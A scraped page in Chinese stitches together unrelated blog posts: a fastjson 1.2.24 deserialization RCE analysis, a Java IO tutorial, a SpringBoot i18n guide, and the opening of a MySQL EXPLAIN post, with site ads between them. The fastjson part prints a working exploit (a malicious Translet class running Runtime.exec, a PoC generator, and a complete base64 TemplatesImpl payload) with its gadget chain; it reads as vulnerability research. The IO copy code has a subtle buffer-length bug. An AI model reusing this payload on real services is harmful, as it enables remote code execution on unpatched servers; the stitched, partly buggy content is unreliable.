fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:

fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞

環境地址:

正常訪問頁面返回hello,world~

 

此時抓包修改content-type為json格式,並post payload,即可執行rce

 此時就能夠創建success文件

前置知識:

研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,

可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload

 此時判斷我們傳入的features是否為null,這裏

我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析

實際上此時又回到了

並且在此調用parseObject函數來處理我們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號”,

 比如先在parseObject函數中匹配出了@type

 匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則可以看到此時token為16並且text為我們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可, 

可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,

 

縮減后的整個調用鏈即為:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

Java IO入門

目錄

我們從兩個方面來理解Java IO,數據源(流)、數據傳輸,即IO的核心就是對數據源產生的數據進行讀寫並高效傳輸的過程。

一. 數據源(流)

數據源可以理解為水源,指可以產生數據的事物,如硬盤(文檔、數據庫等文件…)、網絡(填寫的form表單、物聯感知信息..),在Java中有對文件及文件夾操作的類File,常用的文件方法如下:

public static void printFileDetail(File file) throws IOException {
    System.out.println("文件是否存在:" + file.exists());
    if(!file.exists()){
        System.out.println("創建文件:" + file.getName());
        file.createNewFile();
    }
    if(file.exists()){
        System.out.println("是否為文件:" + file.isFile());
        System.out.println("是否為文件夾:" + file.isDirectory());
        System.out.println("文件名稱:" + file.getName());
        System.out.println("文件構造路徑:" + file.getPath());
        System.out.println("文件絕對路徑:" + file.getAbsolutePath());
        System.out.println("文件標準路徑:" + file.getCanonicalPath());
        System.out.println("文件大小:" + file.length());
        System.out.println("所在文件夾路徑:" + file.getParentFile().getCanonicalPath());
        System.out.println("設置為只讀文件:" + file.setReadOnly());
    }
}
public static void main(String[] args) throws IOException {
    File file = new File("./遮天.txt");
    printFileDetail(file);
}

結果如下:

文件是否存在:false
創建文件:遮天.txt
是否為文件:true
是否為文件夾:false
文件名稱:遮天.txt
文件構造路徑:.\遮天.txt
文件絕對路徑:E:\idea-work\javase-learning\.\遮天.txt
文件標準路徑:E:\idea-work\javase-learning\遮天.txt
文件大小:0
所在文件夾路徑:E:\idea-work\javase-learning
設置為只讀文件:true

二. 數據傳輸

數據傳輸的核心在於傳輸數據源產生的數據,Java IO對此過程從兩方面進行了考慮,分別為輸入流和輸出流,輸入流完成外部數據向計算機內存寫入,輸出流則反之。

而針對輸入流和輸出流,Java IO又從字節和字符的不同,再次細分了字節流和字符流。

說明:Java中最小的計算單元是字節,沒有字符流也能進行IO操作,只是因為現實中大量的數據都是文本字符數據,基於此單獨設計了字符流,使操作更簡便。

4個頂層接口有了,接下來Java IO又從多種應用場景(包括了基礎數據類型、文件、數組、管道、打印、序列化)和傳輸效率(緩衝操作)進行了考慮,提供了種類眾多的Java IO流的實現類,看下圖:

當然我們不用都記住,而實際在使用過程中用的最多的還是文件類操作、轉換類操作、序列化操作,當然在此基礎上我們可以使用Buffered來提高效率(Java IO使用了裝飾器模式)。下面我們通過文件拷貝來簡單說明一下主要類的使用

    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),未使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //File targetFile = new File(targetFileName);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        byte[] bytes = new byte[1024];
        //當為-1時說明讀取到最後一行了
        while ((fileInputStream.read(bytes)) != -1) {
            fileOutputStream.write(bytes);
        }
        fileInputStream.close();
        fileOutputStream.close();
    }
    
    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //緩衝字節輸入流
        BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        //緩衝字節輸出流
        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);
        byte[] bytes = new byte[1024];

        //當為-1時說明讀取到最後一行了
        while ((bufferedInputStream.read(bytes)) != -1) {
            bufferedOutputStream.write(bytes);
        }
        bufferedOutputStream.flush();
        bufferedInputStream.close();
        fileInputStream.close();
        bufferedOutputStream.close();
        fileOutputStream.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件215M
        slowlyCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:1938ms
        fastCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:490ms
        System.out.println(System.currentTimeMillis() - startTime);
    }
    /**
     * 文本文件拷貝,不使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        FileWriter fileWriter = new FileWriter(targetFileName);
        int c;
        while ((c = fileReader.read()) != -1) {
            fileWriter.write((char)c);
        }
        fileReader.close();
        fileWriter.close();
    }

    /**
     * 文本文件拷貝,使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        BufferedReader bufferedReader = new BufferedReader(fileReader);
        FileWriter fileWriter = new FileWriter(targetFileName);
        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
        String str;
        while ((str = bufferedReader.readLine()) != null) {
            bufferedWriter.write(str + "\n");
        }
        bufferedReader.close();
        fileReader.close();
        bufferedWriter.close();
        fileWriter.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件30M
        slowlyCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//3182ms
        fastCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//1583ms
        System.out.println(System.currentTimeMillis() - startTime);
    }

三. 總結

本文主要對Java IO相關知識點做了結構性梳理,包括了Java IO的作用,數據源File類,輸入流,輸出流,字節流,字符流,以及緩衝流,不同場景下的更細化的流操作類型,同時用了一個文件拷貝代碼簡單地說明了主要的流操作,若有不對之處,請批評指正,望共同進步,謝謝!。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

SpringBoot系列之i18n集成教程

目錄

SpringBoot系統之i18n國際化語言集成教程
@

1、環境搭建

本博客介紹一下SpringBoot集成i18n,實現系統語言國際化處理,ok,先創建一個SpringBoot項目,具體的參考我的博客專欄:

環境準備:

  • IntelliJ IDEA
  • Maven

項目集成:

  • Thymeleaf(模板引擎,也可以選jsp或者freemark)
  • SpringBoot2.2.1.RELEASE

2、resource bundle資源配置

ok,要實現國際化語言,先要創建resource bundle文件:
在resources文件夾下面創建一個i18n的文件夾,其中:

  • messages.properties是默認的配置
  • messages_zh_CN.properties是(中文/中國)
  • messages_en_US.properties是(英文/美國)
  • etc.

    IDEA工具就提供了很簡便的自動配置功能,如圖,只要點擊新增按鈕,手動輸入,各配置文件都會自動生成屬性

    messages.properties:

messages.loginBtnName=登錄~
messages.password=密碼~
messages.rememberMe=記住我~
messages.tip=請登錄~
messages.username=用戶名~

messages_zh_CN.properties:

messages.loginBtnName=登錄
messages.password=密碼
messages.rememberMe=記住我
messages.tip=請登錄
messages.username=用戶名

messages_en_US.properties:

messages.loginBtnName=login
messages.password=password
messages.rememberMe=Remember me
messages.tip=Please login in
messages.username=userName

在項目的application.properties修改默認配置,讓SpringBoot的自動配置能讀取到resource bundle資源文件

## 配置i18n
# 默認是i18n(中文/中國)
spring.mvc.locale=zh_CN
# 配置resource bundle資源文件的前綴名eg:i18n是文件夾名,messages是資源文件名,支持的符號有.號或者/
spring.messages.basename=i18n.messages
# 設置緩存時間,2.2.1是s為單位,之前版本才是毫秒
spring.messages.cache-duration=1
# 設置資源文件編碼格式為utf8
spring.messages.encoding=utf-8

注意要點:

  • spring.messages.basename必須配置,否則SpringBoot的自動配置將失效
    MessageSourceAutoConfiguration.ResourceBundleCondition 源碼:
protected static class ResourceBundleCondition extends SpringBootCondition {
        //定義一個map緩存池
        private static ConcurrentReferenceHashMap<String, ConditionOutcome> cache = new ConcurrentReferenceHashMap<>();

        @Override
        public ConditionOutcome getMatchOutcome(ConditionContext context, AnnotatedTypeMetadata metadata) {
            String basename = context.getEnvironment().getProperty("spring.messages.basename", "messages");
            ConditionOutcome outcome = cache.get(basename);//緩存拿得到,直接從緩存池讀取
            if (outcome == null) {//緩存拿不到,重新讀取
                outcome = getMatchOutcomeForBasename(context, basename);
                cache.put(basename, outcome);
            }
            return outcome;
        }

        private ConditionOutcome getMatchOutcomeForBasename(ConditionContext context, String basename) {
            ConditionMessage.Builder message = ConditionMessage.forCondition("ResourceBundle");
            for (String name : StringUtils.commaDelimitedListToStringArray(StringUtils.trimAllWhitespace(basename))) {
                for (Resource resource : getResources(context.getClassLoader(), name)) {
                    if (resource.exists()) {
                    //匹配resource bundle資源
                        return ConditionOutcome.match(message.found("bundle").items(resource));
                    }
                }
            }
            return ConditionOutcome.noMatch(message.didNotFind("bundle with basename " + basename).atAll());
        }
        //解析資源文件
        private Resource[] getResources(ClassLoader classLoader, String name) {
            String target = name.replace('.', '/');//spring.messages.basename參數值的點號換成斜桿
            try {
                return new PathMatchingResourcePatternResolver(classLoader)
                        .getResources("classpath*:" + target + ".properties");
            }
            catch (Exception ex) {
                return NO_RESOURCES;
            }
        }

    }
  • cache-duration在2.2.1版本,指定的是s為單位,找到SpringBoot的MessageSourceAutoConfiguration自動配置類

3、LocaleResolver類

SpringBoot默認採用AcceptHeaderLocaleResolver類作為默認LocaleResolver,LocaleResolver類的作用就是作為i18n的分析器,獲取對應的i18n配置,當然也可以自定義LocaleResolver類


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.lang.Nullable;
import org.springframework.util.StringUtils;
import org.springframework.web.servlet.LocaleResolver;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Locale;

/**
 * <pre>
 *  自定義LocaleResolver類
 * </pre>
 * @author nicky
 * <pre>
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019年11月23日  修改內容:
 * </pre>
 */
public class CustomLocalResolver implements LocaleResolver {

    Logger LOG = LoggerFactory.getLogger(this.getClass());

    @Nullable
    private Locale defaultLocale;

    public void setDefaultLocale(@Nullable Locale defaultLocale) {
        this.defaultLocale = defaultLocale;
    }

    @Nullable
    public Locale getDefaultLocale() {
        return this.defaultLocale;
    }

    @Override
    public Locale resolveLocale(HttpServletRequest request) {
        Locale defaultLocale = this.getDefaultLocale();//獲取application.properties默認的配置
        if(defaultLocale != null && request.getHeader("Accept-Language") == null) {
            return defaultLocale;//http請求頭沒獲取到Accept-Language才採用默認配置
        } else {//request.getHeader("Accept-Language")獲取得到的情況
            Locale requestLocale = request.getLocale();//獲取request.getHeader("Accept-Language")的值
            String localeFlag = request.getParameter("locale");//從URL獲取的locale值
            //LOG.info("localeFlag:{}",localeFlag);
            //url鏈接有傳locale參數的情況,eg:zh_CN
            if (!StringUtils.isEmpty(localeFlag)) {
                String[] split = localeFlag.split("_");
                requestLocale = new Locale(split[0], split[1]);
            }
            //沒傳的情況,默認返回request.getHeader("Accept-Language")的值
            return requestLocale;
        }
    }

    @Override
    public void setLocale(HttpServletRequest request, HttpServletResponse response, Locale locale) {

    }
}

4、I18n配置類

I18n還是要繼承WebMvcConfigurer,注意,2.2.1版本才是實現接口就可以,之前1.+版本是要實現WebMvcConfigurerAdapter適配器類的

import com.example.springboot.i18n.component.CustomLocalResolver;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;

/**
 * <pre>
 *  I18nConfig配置類
 * </pre>
 * <p>
 * <pre>
 * @author nicky.ma
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019/11/24 11:15  修改內容:
 * </pre>
 */
 //Configuration必須加上,不然不能加載到Spring容器
@Configuration
//使WebMvcProperties配置類可用,這個可以不加上,本博客例子才用
@EnableConfigurationProperties({ WebMvcProperties.class})
public class I18nConfig implements WebMvcConfigurer{
    
    //裝載WebMvcProperties 屬性
    @Autowired
    WebMvcProperties webMvcProperties;
    /**
     * 定義SessionLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:52
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        SessionLocaleResolver sessionLocaleResolver = new SessionLocaleResolver();
//        // set default locale
//        sessionLocaleResolver.setDefaultLocale(Locale.US);
//        return sessionLocaleResolver;
//    }

    /**
     * 定義CookieLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:51
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        CookieLocaleResolver cookieLocaleResolver = new CookieLocaleResolver();
//        cookieLocaleResolver.setCookieName("Language");
//        cookieLocaleResolver.setCookieMaxAge(1000);
//        return cookieLocaleResolver;
//    }

    /**
     * 自定義LocalResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.LocaleResolver
     */
    @Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

    /**
     * 定義localeChangeInterceptor
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.i18n.LocaleChangeInterceptor
     */
    @Bean
    public LocaleChangeInterceptor localeChangeInterceptor(){
        LocaleChangeInterceptor localeChangeInterceptor = new LocaleChangeInterceptor();
        //默認的請求參數為locale,eg: login?locale=zh_CN
        localeChangeInterceptor.setParamName(LocaleChangeInterceptor.DEFAULT_PARAM_NAME);
        return localeChangeInterceptor;
    }

    /**
     * 註冊攔截器
     * @Author nicky.ma
     * @Date 2019/11/24 13:47
     * @Param [registry]
     * @return void
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor()).addPathPatterns("/**");
    }
}

注意要點:

  • 舊版代碼可以不加LocaleChangeInterceptor 攔截器,2.2.1版本必須通過攔截器
  • 如下代碼,bean的方法名必須為localeResolver,否則會報錯
@Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

原理:
跟一下源碼,點進LocaleChangeInterceptor類

DispatcherServlet是Spring一個很重要的分發器類,在DispatcherServlet的一個init方法里找到這個LocaleResolver的init方法

這個IOC獲取的bean類名固定為localeResolver,寫例子的時候,我就因為改了bean類名,導致一直報錯,跟了源碼才知道Bean類名要固定為localeResolver

拋異常的時候,也是會獲取默認的LocaleResolver的

找到資源文件,確認,還是默認為AcceptHeaderLocaleResolver

配置了locale屬性的時候,還是選用AcceptHeaderLocaleResolver作為默認的LocaleResolver

spring.mvc.locale=zh_CN

WebMvcAutoConfiguration.localeResolver方法源碼,ConditionalOnMissingBean主鍵的意思是LocaleResolver沒有自定義的時候,才作用,ConditionalOnProperty的意思,有配了屬性才走這裏的邏輯

  • 攔截器攔截的請求參數默認為locale,要使用其它參數,必須通過攔截器設置 ,eg:localeChangeInterceptor.setParamName("lang");
  • LocalResolver種類有:CookieLocaleResolver(Cookie)、SessionLocaleResolver(會話)、FixedLocaleResolver、AcceptHeaderLocaleResolver(默認)、.etc

5、Thymeleaf集成

本博客的模板引擎採用Thymeleaf的,所以新增項目時候就要加上maven相關依賴,沒有的話,自己加上:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

ok,然後去找個bootstrap的登錄頁面,本博客已尚硅谷老師的例子為例,進行拓展,引入靜態資源文件:

Thymeleaf的i18n支持是採用#符號的

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="">
        <meta name="author" content="">
        <title>SpringBoot i18n example</title>
        <!-- Bootstrap core CSS -->
        <link href="asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet">
        <!-- Custom styles for this template -->
        <link href="asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet">
    </head>

    <body class="text-center">
        <form class="form-signin" action="dashboard.html">
            <img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72">
            <h1 class="h3 mb-3 font-weight-normal" th:text="#{messages.tip}">Please sign in</h1>
            <label class="sr-only" th:text="#{messages.username}">Username</label>
            <input type="text" class="form-control" th:placeholder="#{messages.username}" required="" autofocus="">
            <label class="sr-only" th:text="#{messages.password} ">Password</label>
            <input type="password" class="form-control" th:placeholder="#{messages.password}" required="">
            <div class="checkbox mb-3">
                <label>
          <input type="checkbox" value="remember-me" > [[#{messages.rememberMe}]]
        </label>
            </div>
            <button class="btn btn-lg btn-primary btn-block" type="submit" th:text="#{messages.loginBtnName}">Sign in</button>
            <p class="mt-5 mb-3 text-muted">© 2019</p>
            <a class="btn btn-sm" th:href="@{/login(locale='zh_CN')} ">中文</a>
            <a class="btn btn-sm" th:href="@{/login(locale='en_US')} ">English</a>
        </form>

    </body>

</html>

切換中文網頁:

切換英文網頁:

當然不點鏈接傳locale的方式也是可以自動切換的,瀏覽器設置語言:

原理localeResolver類會獲取Accept language參數

附錄:
logging manual:
example source:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

神奇的 SQL 之 MySQL 性能分析神器 → EXPLAIN,SQL 起飛的基石!

前言

  開心一刻

    某人養了一頭豬,煩了想放生,可是豬認識回家的路,放生幾次它都自己回來了。一日,這個人想了個狠辦法,開車帶着豬轉了好多路進山區放生,放生后又各種打轉,然後掏出電話給家裡人打了個電話,問道:“豬回去了嗎?”,家裡人:“早回來了,你在哪了,怎麼還沒回來?”,他大怒道:“讓它來接我,我特么迷路了!!!”

還不如我了

背景

